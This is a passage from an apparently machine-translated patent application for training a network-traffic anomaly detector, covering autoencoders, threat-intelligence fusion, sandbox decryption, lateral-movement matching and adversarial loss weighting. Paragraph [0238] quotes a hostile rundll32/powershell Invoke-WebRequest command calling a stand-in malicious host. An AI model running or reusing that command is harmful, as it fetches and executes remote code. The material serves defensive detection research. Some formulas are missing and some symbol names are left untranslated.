[0172] Perform linear transformations on different types of features (such as the protocol distribution entropy of normal traffic, the load entropy of attack traffic, and the perturbation features of adversarial samples). For example, divide the "protocol distribution entropy" (value range 0-5) by 5 and the "load entropy" (value range 0-8) by 8, and uniformly map them to the range 0-1. Use matrix multiplication to convert text features (such as URI paths) and numerical features (such as traffic rates) into vectors of the same dimension (such as 256 dimensions) to ensure that the model can handle all types of features equally. For example, concatenate the word vector of the HTTP request path with the traffic burst intensity value to form a unified feature vector.

[0173] In this application, for step S25, it is assumed that there is a feature matrix describing network traffic with the dimensions [number of time windows × protocol type × number of features], for example, 100 time windows (each window is 1 hour) × 50 protocol types (such as HTTP, DNS, TLS, etc.) × 32 features (such as load entropy, session duration, port number, etc.). A convolutional autoencoder (CAE) is used to deeply analyze it and mine spatiotemporal correlation features. The specific steps are as follows:

[0174] The first convolutional layer uses 16 3×3 convolution kernels (similar to "feature detectors"), sliding on the two-dimensional plane of protocol type and feature number, with a step size of 1 each time and 1 unit of padding at the edges to maintain the dimension unchanged. Each convolution kernel learns a local protocol interaction feature. For example:

[0175] A convolution kernel may identify "patterns that occur with HTTP and DNS protocols" (such as domain name resolution before accessing a web page);

[0176] Another convolution kernel may capture the "feature of abnormally high payload entropy in the TLS protocol" (which may correspond to abnormal data in encrypted traffic).

[0177] The output dimension becomes 100×50×16: the number of time windows remains unchanged (still 100), the protocol type dimension remains unchanged (50), and the number of features is compressed from 32 to 16 (each convolution kernel generates 1 new feature channel).

[0178] Filter out low-amplitude features (such as occasional low-entropy fluctuations) and only retain significant abnormal features (such as encrypted traffic with sustained high entropy).

[0179] The second convolutional layer uses eight 3×3 convolution kernels with a stride of 2 (i.e., sliding 2 units at a time) and no edge padding. The number of time windows is halved (100 → 50, due to the stride of 2), the protocol type dimension is halved (50 → 25), and the number of feature channels is compressed from 16 to 8. The larger stride enables the convolution kernel to capture long-range dependencies across protocols. For example:

[0180] Identify cross-protocol timing correlations such as "HTTP connections occurring a few seconds after a DNS query";

[0181] Found "a combination of a rare protocol (such as SMB) and high-risk characteristics (such as port scanning)."

[0182] Invalid features are further filtered out to retain abnormal correlation patterns across protocols.

[0183] Using a transposed convolution (deconvolution) operation symmetric to the encoder, the compressed 50×25×8 feature matrix is ​​gradually restored to the original dimension of 100×50×32. Try to reconstruct the original feature matrix from the compressed features, for example:

[0184] Restore cross-protocol dependency features (such as the time interval between DNS and HTTP) to specific protocol type and feature value combinations;

[0185] Map abnormal high entropy features (such as plaintext data in encrypted traffic) back to the original feature space.

[0186] Calculate the difference between the original feature matrix and the reconstructed matrix. The larger the error, the more difficult it is to restore the abnormal features. For example:

[0187] Normal features (such as the peak of HTTP requests between 9:00 and 10:00 on weekdays) have regularity and small reconstruction errors;

[0188] Abnormal features (such as high-frequency noise introduced by adversarial attacks and low-entropy plaintext in encrypted traffic) have high reconstruction errors because they do not conform to normal patterns.

[0189] Slide a pooling window (e.g., 3 consecutive hourly windows) along the time window dimension and take the maximum value within the window as the output. This captures the periodic pattern of traffic. For example:

[0190] Identify the HTTP request peak between 9:00 AM and 10:00 AM every Monday to Friday (the maximum value occurs during this period, and this feature is retained after pooling);

[0191] Filter out occasional short-term traffic fluctuations (non-maximum values ​​are ignored).

[0192] The output feature matrix still retains the time dimension, but the noise is reduced and the periodicity is more prominent.

[0193] The same convolution kernel uses the same parameters in different protocol types and time windows, for example:

[0194] A convolution kernel for detecting "protocol A associated with feature X" can be applied to all time windows and protocol types simultaneously, learning common patterns across time and space (for example, the pattern of "HTTP connection immediately after DNS query" repeats every day). Through multiple layers of convolution and pooling, the final output is an enhanced feature matrix containing the following information:

[0195] Time dimension: Each window corresponds to one hour, clearly reflecting the daily / weekly periodicity of traffic (e.g., HTTP traffic decreases on weekends);

[0196] Spatial dimension: association weights between protocol types (e.g., the strong association weight between HTTP and DNS is prominent); feature importance (e.g., features with high payload entropy are enhanced, and low-entropy abnormal features are marked); abnormal protocol combinations (e.g., TLS encrypted traffic mixed with low-entropy plaintext data has an abnormally high weight).

[0197] After the above processing, a matrix with the same dimensions as the input, [number of time windows × protocol type × number of features], is generated, containing the following optimization information:

[0198] Pure features: Filter out low-amplitude noise and occasional anomalies, retaining significant normal patterns and high-confidence anomaly features;

[0199] Spatiotemporal correlation: Strengthens the temporal dependencies between protocols (e.g., the order of DNS → HTTP) and the correlations between features (e.g., the binding of high entropy values ​​to encryption protocols).

[0200] Anomaly marking: Highlights difficult-to-explain anomaly patterns (such as adversarial perturbations, unusual combinations of protocols) by reconstructing error and weight distributions.

[0201] This application performs deep protocol parsing and reconstruction on the initial mixed dataset, fully constructing the application layer session flow and ensuring the semantic integrity of protocol data such as HTTP, DNS, and TLS. This ensures that the analysis is based on real, complete network behavior data, avoiding misjudgments due to missing data or parsing errors, and laying the foundation for accurate analysis. Using a bidirectional LSTM network and a multi-head attention mechanism, contextual behavior sequences are extracted from the application layer payload, focusing on high-frequency abnormal behavior fragments. This method can capture complex behavior patterns such as HTTP request path jump patterns and DNS domain name generation algorithm characteristics, as well as hidden threats such as TLS certificate chain anomalies, improving the ability to detect abnormal behavior in network traffic. Adversarial perturbation samples are generated using the fast gradient symbol method, and the perturbation intensity is dynamically adjusted based on network traffic to simulate adversarial attacks in real-world scenarios. Furthermore, data fusion weights are dynamically adjusted based on real-time attack alert frequency and historical attack distribution, ensuring that the dataset covers normal traffic, known attack traffic, and adversarial samples, improving the model's robustness and generalization capabilities in the face of new attacks and adversarial samples. Convolutional autoencoders are used to process fused features, effectively removing data noise and exploring the periodic patterns of traffic in the time dimension (such as the difference in traffic between weekdays and weekends) and protocol interaction dependencies in the spatial dimension (such as the association between DNS queries and HTTP requests). This not only helps understand the normal behavior patterns of network traffic, but also can promptly detect potential network security threats through abnormal spatiotemporal correlation patterns, thereby improving the accuracy and timeliness of threat detection.

[0202] In summary, based on the processing flow described in step S2, this application extracts context sequences (such as HTTP request chains and database operation instructions) by reorganizing protocol payloads to accurately identify attack behaviors (such as SQL injection and command injection) hidden in normal protocols. In addition, by generating adversarial perturbation samples (such as normal traffic with interference bytes added), the model is forced to learn to distinguish between real attacks and noise, improving its robustness against adversarial attacks.

[0203] S3. Constructing an adaptive feature fusion rule based on the enhanced feature matrix, embedding the asset correlation parameter into the attention calculation layer of the feature encoder, and outputting the encoded features of the fused threat intelligence;

[0204] This step calculates the attack pattern freshness index and intelligence confidence attenuation parameter based on the enhanced feature matrix, constructs adaptive feature fusion rules, and embeds the asset correlation parameter into the attention calculation layer of the feature encoder to output the encoded features of the fused threat intelligence.

[0205] In some embodiments, S3 includes:

[0206] S31. Match vulnerability fingerprint features from a real-time threat intelligence library according to the enhanced feature matrix;

[0207] Optionally, the vulnerability fingerprint feature includes at least one of a vulnerability exploitation code snippet associated with a Common Vulnerabilities and Exposures (CVE) number, an attack chain stage identifier, and a process behavior pattern of a compromised host;

[0208] Specifically, based on the spatiotemporal correlation enhanced feature matrix, vulnerability fingerprint features are matched from the real-time threat intelligence library, including vulnerability exploit code snippets associated with CVE numbers, attack chain stage identifiers, and process behavior patterns of the compromised host;

[0209] S32. Determine the freshness index of the attack pattern based on the vulnerability fingerprint characteristics, and dynamically downgrade intelligence that exceeds the preset time limit;

[0210] Specifically, based on vulnerability fingerprint characteristics, the attack pattern freshness index is calculated according to the interval between the first discovery time and the current time, and intelligence that exceeds the preset time limit is dynamically downgraded;

[0211] S33. Generate dynamic intelligence confidence parameters based on vulnerability fingerprint characteristics and freshness indicators, combined with intelligence source credibility and vulnerability verification status;

[0212] S34. Based on the freshness index and confidence parameter, an adaptive feature fusion rule is constructed, and the enhanced feature matrix and threat intelligence features are multimodally aligned and normalized by weighted Euclidean distance to generate multi-source threat context features.

[0213] S35. Based on multi-source threat context features, the asset correlation parameters are embedded in the multi-head attention mechanism of the feature encoder. The traffic feature aggregation strength of priority assets is dynamically allocated through the attention mechanism, and the encoding features that integrate real-time threat intelligence, asset context and spatiotemporal traffic features are output.

[0214] Optionally, the asset relevance parameter is dynamically determined based on asset type, business criticality, and historical compromise records.

[0215] Specifically, based on multi-source threat context features, the asset correlation parameters are embedded in the multi-head attention mechanism of the feature encoder, where the asset correlation is dynamically calculated according to the asset type, business criticality and historical compromise records. The traffic feature aggregation strength of priority assets is dynamically allocated through the attention mechanism, and the encoded features that integrate real-time threat intelligence, asset context and spatiotemporal traffic features are output.

[0216] In this application, for step S31, the protocol interaction mode, abnormal behavior fragments and other data in the spatiotemporal correlation enhanced feature matrix are cross-checked with the real-time threat intelligence library. For example, the feature vector of the TLS certificate chain anomaly in the matrix is ​​extracted, and the fingerprint feature of "Exploiting Expired Certificate Vulnerability (CVE-2023-34478)" recorded in the intelligence library is matched, including the abnormal certificate verification mode corresponding to the vulnerability, the specific encryption suite used during the attack, etc. For the feature of high-frequency access of " / admin / setup.php" in the HTTP request path jump mode, the fingerprint of "a certain CMS background weak password attack chain" in the intelligence library is matched, and its attack chain stage identifier (such as "reconnaissance stage") and the process behavior that may be executed by the trapped host (such as abnormal call wget to download malicious scripts) are associated.

[0217] In this application, for step S32, the time of first discovery of the vulnerability fingerprint feature is obtained (such as the intelligence library records that a certain attack mode was first detected on October 1, 2023), and the time difference is calculated with the current system time (such as March 1, 2024), and the interval number of days is 150 days. The preset time threshold is 90 days. When the time interval is ≤90 days, the freshness index is 1.0; after more than 90 days, the index decreases linearly with each additional day (such as minus 0.01 per day). In the above example, the freshness index corresponding to 150 days is 1.0-(150-90)×0.01=0.4, and the weight corresponding to the vulnerability fingerprint is reduced from the default value (such as 1.0) to 0.4.

[0218] In this application, for step S33, the sources of threat intelligence are divided into three categories: authoritative organizations (such as CERT, score 100), security vendors (such as a company, score 80), and community sharing (score 60). If a vulnerability fingerprint comes from a security vendor, the initial credibility base is 80 points. If the vulnerability in the intelligence has been verified by an actual attack (the status is "confirmed"), add 20 points; if it is "suspected", subtract 10 points. Assuming that the verification status of a fingerprint is "confirmed", the credibility parameter is 80+20=100, which is converted to a confidence level of 100÷100=1.0 in the 0-1 interval. Combined with the freshness index of step 301 (such as 0.4), the final confidence parameter is 1.0×0.4=0.4 (indicating that the intelligence is not timely enough and the confidence level is reduced).

[0219] In the present application, for step S34, the traffic features in the enhanced feature matrix (such as the DNS domain name generation algorithm feature vector) and the threat intelligence features (such as the malicious domain name pattern vector corresponding to the algorithm) are calculated by weighted Euclidean distance for similarity. For example, the entropy value of a domain name in the traffic is 5.8, and the entropy value range of the malicious domain name in the intelligence is 5.5-6.0, then the similarity score is 0.9. Set the enhanced feature weight to 0.6 and the threat intelligence weight to 0.4 (dynamically adjusted according to the intelligence confidence). The fused feature value is traffic feature × 0.6 + intelligence feature × 0.4. For example, if the traffic load entropy value is 4.2 and the corresponding intelligence entropy value abnormality threshold is 4.0, then the fused entropy value is 4.2 × 0.6 + 4.0 × 0.4 = 4.12, highlighting the abnormal tendency.

[0220] In this application, for step S35, the asset type (such as server = 100, terminal = 60), business criticality (core business = 100, edge business = 30), and historical attack records (yes = minus 50 points, no = 0 points). A server asset is a core business and has no historical attack record, and the correlation score is 100+100+0=200, normalized to a 0-1 interval of 1.0. In the multi-head attention calculation, higher aggregation weights are assigned to traffic features with high asset correlation (such as the TLS handshake traffic of the server). For example, the aggregation strength of normal traffic features is 0.5, and the aggregation strength of the server feature is increased to 0.8, making it more prominent in the encoding features, so as to facilitate the priority detection of attacks on high-value assets.

[0221] This application uses freshness indicators to downgrade outdated intelligence, ensuring that the model prioritizes responding to recently active attack patterns (such as new vulnerabilities), avoiding interference from historical invalid intelligence, and improving the timeliness of threat detection. Confidence parameters are generated by combining source credibility and verification status to avoid blind reliance on low-quality intelligence, enhance the reliability of feature fusion, and reduce false positives. Traffic spatiotemporal characteristics, threat intelligence, and asset attributes are cross-modally integrated to form a three-dimensional detection perspective of "behavior + threat + asset." For example, it can accurately identify compound attacks that "target core servers, exploit the latest vulnerabilities, and conform to specific protocol anomaly patterns." By adjusting attention weights based on asset relevance, the model automatically focuses on the traffic characteristics of high-value assets (such as critical business servers), prioritizing the security of important assets when resources are limited, and optimizing the efficiency of detection resource allocation. By correlating attack chain stage identifiers and process behavior patterns, full-chain detection from attack reconnaissance (such as abnormal DNS queries) to vulnerability exploitation (such as TLS certificate anomalies) can be achieved, improving the integrity of attack tracing and early warning.

[0222] In summary, based on the processing flow described in step S3, this application automatically increases the weight of new threat features (such as zero-day vulnerability fingerprints) and suppresses the interference of outdated features through the attack pattern freshness and intelligence confidence attenuation mechanism. In addition, the importance of assets (such as core servers and domain controllers) is embedded in the feature encoder, so that the model prioritizes abnormal access to high-value assets, improving the business relevance and response priority of detection. In addition, by integrating traffic statistics, threat intelligence, and asset association features, a multi-level feature representation is formed to solve the one-sidedness of single-dimensional detection (such as relying only on traffic anomalies or relying only on intelligence matching).

[0223] S4. Input the encoded features of the fused threat intelligence into a pre-built initial detection model, generate false positive and false negative correction labels based on suspicious traffic segments, and output an adversarial sample correction dataset;

[0224] This step inputs the encoding features into the pre-built detection model, dynamically replays the suspicious traffic fragments in the sandbox environment, extracts the encrypted traffic decryption features, matches the lateral movement behavior chain, generates false positive and false negative correction labels, and outputs the adversarial sample correction dataset.

[0225] In some embodiments, S4 includes:

[0226] S41. Based on the coding features of the fused threat intelligence, an initial detection model is constructed, and the coding features are input into the initial detection model to generate an attack probability prediction result for the traffic segment;

[0227] S42. Based on the attack probability prediction results of the traffic segments, determine suspicious traffic segments whose attack probability exceeds a preset value, and import the suspicious traffic segments into the sandbox environment for dynamic replay;

[0228] S43. Analyze the encrypted traffic in the sandbox environment to obtain decrypted traffic characteristics;

[0229] Optionally, parsing the encrypted traffic includes at least one of decrypting a TLS / SSL session and extracting a sensitive operation sequence in the encrypted payload;

[0230] Specifically, in a sandbox environment, encrypted traffic is parsed, including decrypting TLS / SSL sessions and extracting sensitive operation sequences in encrypted payloads to obtain decrypted traffic features;

[0231] S44. Based on the decrypted traffic characteristics, match the typical pattern of the lateral movement behavior chain and obtain the stage integrity result of the matched behavior chain;

[0232] Optionally, the typical pattern of the lateral movement behavior chain includes at least one of an initial intrusion stage, a lateral movement stage, and a data exfiltration stage.

[0233] Specifically, based on the decrypted traffic characteristics, the typical patterns of the lateral movement behavior chain are matched, including the initial intrusion stage, the lateral movement stage, and the data exfiltration stage, to obtain the matching behavior chain stage integrity results;

[0234] S45, comparing the integrity result of the matched behavior chain stage with the attack probability prediction result of the traffic segment to generate a correction label;

[0235] S46. Generate an adversarial sample correction dataset containing spatiotemporal features, threat intelligence, and behavior chain context based on the correction labels and adversarial perturbation samples.

[0236] In this application, for step S41, a classification model (such as a random forest or neural network) is trained using the fused coding features (including spatiotemporal traffic features, threat intelligence, and asset correlation), and the preset model output is an attack probability value of 0-1 (0 is normal, 1 is attack). The coding features of each traffic segment are input into the model, and the model outputs the attack probability through feature weight calculation (such as neuron activation of a neural network). For example, a traffic segment contains the features of "TLS certificate expiration + DNS abnormal domain name + core server assets", and the model outputs an attack probability of 0.85.

[0237] In this application, for step S42, the preset attack probability threshold is 0.6, and the traffic segments with an attack probability ≥ 0.6 are marked as "suspicious". For example, the above-mentioned segment with a probability of 0.85 is selected, while the segment with a probability of 0.5 is filtered. The original data packet of the suspicious traffic segment (such as a PCAP file) is imported into an isolated sandbox environment, and the real network environment is simulated for dynamic replay. Virtual hosts, operating systems, and application services (such as web servers and databases) are configured in the sandbox to reproduce the interactive behaviors in the traffic.

[0238] In this application, for step S43, a decryption tool is deployed in the sandbox (such as obtaining the private key through the certificate transparency log or exploiting a known vulnerability to bypass encryption), parsing the TLS handshake process, extracting the session key, and decrypting the encrypted payload. For example, after decryption, it is found that the encrypted traffic contains the plaintext instruction {rundll32.exe / s / c"powershell.exe-CommandInvoke-WebRequesthttp: / / malicious.com"}, which is a typical malicious operation. The operation sequence is extracted from the decrypted payload, such as the file write path (c:\Windows\System32\update.exe), the registry modification key (HKEY_CURRENT_USER), etc., as the decrypted traffic characteristics.

[0239] In this application, for step S44, the initial intrusion stage features include abnormal port scanning, vulnerability exploitation attempts (such as SQL injection payload); lateral movement stage features include abnormal SMB protocol access, Remote Desktop Protocol (RDP) brute force cracking, domain controller queries (such as LDAP requests); data leakage stage features include encrypted file transfers (such as uploading compressed packages via FTP), DNS tunnel traffic (domain names contain abnormally long character strings). Compare the decrypted features with the templates of each stage. For example, if there is "5 failed RDP logins + SMB access \\192.168.1.100\C$ + DNS request abc123.xyz (suspected tunnel domain name)" in the traffic, then the "privilege escalation → intranet penetration → tunnel establishment" mode of the lateral movement stage is matched in sequence, and the behavior chain integrity is marked as "stage 2 / 3" (the first two stages are completed, and no data leakage is detected).

[0240] In this application, for step S45, the attack probability predicted by the model (such as 0.85) is combined with the behavior chain matching result (such as "stage 2 / 3") for analysis: if the prediction is an attack and the behavior chain matches ≥1 stage (such as in this case), the correction label is "attack-lateral movement"; if the prediction is an attack but the behavior chain has no match (such as normal encrypted traffic is misjudged), the correction label is "normal-false positive"; if the prediction is normal but the behavior chain matches the complete attack chain (such as a new type of attack not identified by the model), the correction label is "attack-missed negative".

[0241] In this application, for step S46, the adversarial perturbation sample (generated in step S23) is combined with the correction label, decryption features, and behavior chain stage information to form a new data set. For example, the original label of an adversarial sample is "attack", and the corrected label is "attack-lateral movement-stage 2", and the decrypted sensitive instructions (such as powershell.exe calls) and asset information (such as the IP address of the attacked domain controller) are supplemented. Behavior chain integrity fields (such as "number of stages" and "key operation types") are added to the data set.

[0242] This application breaks through the bottleneck of traditional encrypted traffic detection by dynamically decrypting TLS traffic in a sandbox. This allows identification of malicious operations (such as remote control commands and data theft) hidden within encrypted channels, enhancing detection capabilities against advanced persistent threats (APTs). By matching the multi-stage characteristics of lateral movement behavior chains, it not only determines whether an attack is occurring, but also locates the attack's current stage (e.g., whether it has penetrated the intranet), providing precise response direction for emergency response (e.g., prioritizing blocking lateral movement paths). By comparing behavior chain matching results with model predictions, it effectively distinguishes false positives (e.g., high-entropy encrypted traffic for normal business operations) from false negatives (e.g., new attack patterns), reducing manual verification costs and providing high-quality corrected labels for model iteration. A corrected dataset containing the context of real-world attack behavior chains is generated, making adversarial examples more realistic than actual attack scenarios (e.g., combining asset type and attack stage). This is used to train models to defend against complex, organized, multi-stage attacks, improving model robustness. Suspicious traffic is replayed within the sandbox to prevent malicious code from being executed directly in the production environment, ensuring the security of the detection process itself while improving the accuracy of behavior reproduction by simulating a real-world environment.

[0243] In summary, based on the processing flow described in step S4, this application uses sandbox dynamic replay to decrypt encrypted traffic, extracts plaintext malicious features (such as remote control tool communication content), and breaks through the "black box" limitations of traditional detection on encrypted channels. Matching the lateral movement behavior chain (such as vulnerability exploitation → privilege escalation → data transmission) not only detects the existence of the attack, but also locates the attack stage, providing a precise basis for defense (such as blocking key sessions in the lateral movement stage). Based on the results of the behavior chain analysis, the model prediction label is corrected to reduce false positives (such as distinguishing normal high-concurrency traffic from DDoS attacks) and missed reports (such as identifying covert infiltration that does not trigger obvious features), thereby improving the quality of labeled data.

[0244] S5. Perform adversarial training on the initial detection model using the adversarial sample correction data set to obtain an incremental detection model for network traffic anomaly detection.

[0245] This step uses the corrected dataset to perform adversarial training on the detection model, optimizes the detection model parameters through a dual-channel loss function based on intelligence credibility priority, and dynamically decouples the parameter updates of the feature extractor and classifier to generate an incremental detection model.

[0246] In some embodiments, S5 includes:

[0247] S51, constructing a dual-channel loss function based on the adversarial sample correction dataset;

[0248] Optionally, the dual-channel loss function includes:

[0249] Channel 1: Based on the confidence parameters of threat intelligence, adjust the priority of loss calculation for samples associated with verified threat intelligence according to the confidence ratio;

[0250] Channel 2: Based on the integrity of the behavior chain verified by the sandbox, the calculation weight of the classification loss is adjusted for samples that contain complete attack chain stages.

[0251] S52, parameter update strategy of dynamic decoupling feature extractor and classifier based on dual-channel loss function;

[0252] S53. Iteratively optimize the detection model parameters through adversarial training, stop training when the rate of change of the dual-channel loss function is less than a preset threshold, and obtain the incremental detection model.

[0253] In this application, for step S51, in the dual-channel loss function:

[0254] Channel 1: Extract the threat intelligence confidence parameter for each sample from the adversarial sample correction dataset. This parameter is derived from the following factors:

[0255] Credibility of intelligence sources: Authoritative organizations (such as the CVE official website) assign a value of 0.9-1.0, security vendors (such as a company) assign a value of 0.7-0.9, and community-shared intelligence assigns a value of 0.5-0.7.

[0256] Vulnerability Verification Status: Intelligence verified by actual attacks will receive a 0.2 bonus point, intelligence only verified theoretically will receive a 0.1 bonus point, and unverified intelligence will receive no bonus points.

[0257] Attack pattern freshness: The coefficient of new vulnerability intelligence within 90 days is 1.0, and the coefficient decreases by 0.1 every 30 days beyond the expiration date (for example, the coefficient of intelligence 120 days ago is 0.9).

[0258] Example: The intelligence associated with a sample comes from a security vendor (credibility 0.8), the vulnerability has been verified (+0.2), and the freshness is 60 days (coefficient 1.0). The final confidence parameter is 0.8+0.2=1.0.

[0259] The weighting mechanism is activated for samples with confidence ≥ 0.7:

[0260] Calculate the original loss value of the sample (such as cross entropy loss), recorded as Lraw;

[0261] The loss value is weighted according to the confidence parameter G: Lweighted = Lraw × G.

[0262] For example, sample A has an original loss of 0.5 and a confidence parameter of 0.8, resulting in a weighted loss of 0.5 × 0.8 = 0.4. Sample B has a confidence parameter of 0.9 and an original loss of 0.6, but the weighted loss is 0.6 × 0.9 = 0.54. The weighted loss increases its proportion in the total loss, forcing the model to prioritize the detection accuracy of high-confidence samples.

[0263] Channel 2: Behavior chain integrity weighting:

[0264] After sandbox verification, each sample is marked with the number of stages covered by the behavior chain (stages 1-3):

[0265] Stage 1 (Intrusion): includes vulnerability exploitation, initial access, and other characteristics (e.g., SQL injection payloads, phishing email attachments).

[0266] Phase 2 (lateral movement): includes intranet scanning, privilege escalation, and other characteristics (such as abnormal SMB access and RDP brute force cracking).

[0267] Phase 3 (Data Exfiltration): Includes features such as file theft and tunneling communications (e.g., encrypted file transfers and DNS covert channels).

[0268] For example, sample C contains stage 1 (vulnerability exploit) and stage 2 (SMB access) and is labeled "stage 2." Sample D contains all three stages and is labeled "stage 3."

[0269] Set the weighting factor according to the number of coverage stages:

[0270] 3-stage complete chain: weighting factor 1.5;

[0271] 2-stage chain: weighting factor 1.2;

[0272] 1-stage chain: Weighting factor 1.0 (no adjustment).

[0273] For example, the original classification loss for sample D (3 stages) is 0.6, which is adjusted to 0.6 × 1.5 = 0.9; the original loss for sample C (2 stages) is 0.7, which is adjusted to 0.7 × 1.2 = 0.84. The loss weight for complete attack chain samples is increased to force the model to learn the temporal dependency characteristics of multi-stage attacks.

[0274] In this application, for step S52, the parameter update strategy of the dynamic decoupling feature extractor and classifier includes:

[0275] Feature extractor (such as CNN / LSTM) decoupled training:

[0276] Update once every 5 iterations (low frequency) to avoid feature collapse due to adversarial sample noise; the learning rate is set to 0.001 (small step size), and the parameter updates are smoothed by exponential moving average (EMA), for example:

[0277]

[0278] Among them, θ t is the parameter value after the tth iteration update, θ t-1 is the parameter value before the tth iteration (i.e., at the end of the t-1th iteration), θ 特征提取器 are the parameters of the feature extractor, is the partial derivative, N is the number of traffic segments in the current batch (e.g., N = 100 means 100 segments are processed at a time), I is the traffic segment index (I = 1, 2, ..., N), for example, I = 3 means the third suspicious traffic segment is analyzed, J is the target category index (J = 1, 2, ..., C), for example, J = 2 corresponds to the "lateral movement stage" attack, C is the total number of target categories for the classification task (e.g., C = 3 means it is divided into "normal", "intrusion stage", and "lateral movement stage"), y IJ is the true label (one-hot encoding) of the I-th traffic segment in the J-th category. If it belongs to "lateral movement", then y IJ =1, otherwise 0, k IJ is the probability that the detection model predicts that the I-th traffic segment belongs to the J-th category (e.g., y I2 = 0.8 means the probability of predicting “lateral movement” is 80%).

[0279] Classifier (such as fully connected layer) decoupling training:

[0280] Each iteration is updated (high frequency) to respond to feature changes in real time; the learning rate is set to 0.01 (large step size), and momentum optimization (Momentum = 0.9) is used to accelerate convergence. For example:

[0281]

[0282] Among them, v t is the momentum accumulation of the tth iteration, v t-1 is the momentum accumulation at the t-1th iteration, θ 分类器 Represents the parameters of the classifier (such as fully connected layer weights and biases).

[0283] If the classification error rate increases by ≥5% over three consecutive iterations, the classifier learning rate is automatically increased from 0.01 to 0.015 to accelerate boundary adjustments. Feature discrimination is determined by calculating the inter-class distance (such as the L2 distance) of the feature vector. If the inter-class distance is less than 0.5, the feature extractor is triggered to perform an additional update (forcing the learning of more discriminative features). When the model has a low detection rate for "lateral movement in encrypted traffic," the classifier's high-frequency, large-step updates can quickly adjust its sensitivity to encryption protocol features. When the TLS fingerprint output by the feature extractor is confusing, low-frequency, small-step updates combined with EMA can filter out adversarial noise and preserve true protocol features.

[0284] In this application, for step S53, batch samples (e.g., 32 / batch) are taken and input into the detection model. The feature extractor outputs a high-dimensional feature vector (e.g., 512 dimensions), and the classifier outputs an attack probability (0-1). For each sample, the weighted loss of channel 1 and the weighted loss of channel 2 are calculated separately, and the total loss is obtained by summing them: L total =L channel1 (Channel 1 loss) + L channel2 (Channel two loss).

[0285] For example, the original loss of sample E (confidence 0.8, 3-stage chain) is 0.4 (channel one) + 0.5 (channel two) = 0.9, and after weighting it is 0.4×0.8+0.5×1.5=1.07.

[0286] Rate of change calculation:

[0287] The absolute value of the difference between the loss value of the current iteration and the loss value of the previous iteration is divided by the loss value of the previous iteration to reflect the relative change in the model prediction error between two adjacent training iterations.

[0288] Taking specific data as an example, assuming that the loss value at the 100th iteration is 0.7 (indicating that the model has a large prediction error for the sample in this round of training), and the loss value drops to 0.693 at the 101st iteration (the prediction error decreases slightly), then the loss change rate is calculated as follows: first calculate the difference between the two losses, i.e. |0.693-0.7|=0.007, and then divide the difference by the 100th loss value, i.e. 0.007÷0.7=1%, which indicates that the prediction error of the model has decreased by 1% between these two iterations.

[0289] The loss change rate for 5 consecutive iterations is ≤ 0.5%: When the change in the loss value in each round of model training is less than or equal to 0.5% for 5 consecutive rounds, it means that the model's prediction error has stabilized and it is difficult to improve performance by continuing training. At this time, the model is considered to be close to convergence and training can be stopped. The total number of iterations reaches 2000 times. This is a hard termination condition used to avoid the model from being unable to converge for a long time due to high data complexity or other abnormal conditions, which wastes computing resources. When any of the above conditions is met, the training process terminates and an incremental detection model is output. This incremental model has improvements in multiple key performance indicators:

[0290] For attack traffic that covers the complete stages of "initial intrusion → lateral movement → data exfiltration," the model's correct identification rate has significantly increased. For example, while the initial model may only accurately detect 60% of complete attack chain samples, the incremental model's detection accuracy has increased to 90%.

[0291] For samples associated with high-confidence threat intelligence from authoritative organizations or verified in real-world scenarios (such as communication signatures of known malware), the model reduces the probability of misclassifying normal traffic as attacks. For example, the initial model had a false positive rate of 20% for such samples, while the incremental model reduced that rate to 15%.

[0292] When attackers use technical means to generate adversarial examples (such as injecting small perturbations into normal traffic to deceive the detection model), the incremental model's ability to resist such attacks is enhanced. For example, the initial model's correct detection rate under adversarial example attacks was 50%, while the incremental model's accuracy increased to 90%, significantly reducing the risk of being deceived by attacks.

[0293] This application uses threat intelligence confidence weighting to prioritize learning verified, timely attack features in the model, avoiding being misled by low-quality intelligence and improving the "precision strike" capability of detection. The weighting of behavioral chain integrity forces the model to focus on the temporal correlation of multi-stage attacks rather than isolated features, which can effectively detect compound attacks of "intrusion-lateral movement-exfiltration" and reduce missed reports. Low-frequency and smooth feature extractor training can resist adversarial disturbances, and high-frequency and sensitive classifier adjustment can quickly adapt to new features. The two work together to improve the model's generalization ability for "old features and new combinations" attacks. The dynamic stopping mechanism based on the loss change rate avoids model degradation caused by overtraining, strikes a balance between detection performance and computing resource consumption, and is suitable for online real-time detection scenarios.

[0294] In summary, based on the processing flow described in step S5, in this application, the dual-channel loss function prioritizes adjusting model parameters for high-confidence threat samples (such as attacks associated with authoritative intelligence) to ensure stable detection capabilities for known high-risk attacks. Through behavioral chain integrity constraints, the model is forced to learn the timing characteristics of the attack phase (such as "no login attempt after port scanning" may be a false alarm), thereby improving the ability to identify multi-stage complex attacks. Feature extractors (such as CNN) are updated at a low frequency to filter out adversarial noise and maintain feature stability; classifiers (such as fully connected layers) are updated at a high frequency to quickly respond to new feature changes and balance the model's anti-interference ability and agility.

[0295] Figure 2 Another schematic diagram of the network traffic anomaly detection model training method for adversarial attacks provided in an embodiment of the present application is as follows: Figure 2 As shown, the method further includes:

[0296] S6. Deploy the incremental detection model to the network traffic monitoring node, receive the new attack feature vector and the updated threat intelligence feature library, and build a feature memory matrix of the historical attack pattern. Feed the feature memory matrix back to the initial mixed data set generation process to form a dynamic adversarial training closed loop.

[0297] In some embodiments, S6 includes:

[0298] S61, deploying the incremental detection model to a network traffic monitoring node to receive new attack feature vectors and updated threat intelligence database content in real time;

[0299] S62. Based on new attack feature vectors and updated content in the threat intelligence library, a feature memory matrix of historical attack patterns is constructed, and spatiotemporal features, threat intelligence fingerprints, and behavior chain patterns are stored by attack type.

[0300] S63. Feed the feature memory matrix back to the initial mixed data set generation process, and realize the dynamic adversarial training closed loop by periodically retraining and updating the detection model parameters.

[0301] In this application, for step S61, the trained incremental detection model is deployed to a network traffic monitoring node (such as a firewall or intrusion detection system) to connect it to the real-time traffic data link. The model continuously obtains two pieces of information through the API interface or data channel:

[0302] New attack feature vectors: High-dimensional vectors generated after feature extraction from unknown attack samples captured through sandbox dynamic analysis, honeypot trapping, etc. (such as those containing abnormal protocol fields, traffic timing patterns, etc.).

[0303] Threat intelligence library updates: Threat intelligence from security vendors, CVE vulnerability platforms, and other channels, including newly discovered malicious IP addresses, domain names, vulnerability fingerprints (such as the encryption key characteristics of a ransomware), etc., are standardized and converted into structured data.

[0304] In this application, in step S62, the received new attack feature vectors and threat intelligence are classified by attack type (such as ransomware, APT attack, lateral movement, etc.). For example, the "DNS tunnel + SMB abnormal access" feature is classified as a "lateral movement" attack. A feature memory matrix is ​​constructed for each attack type, storing three types of key information:

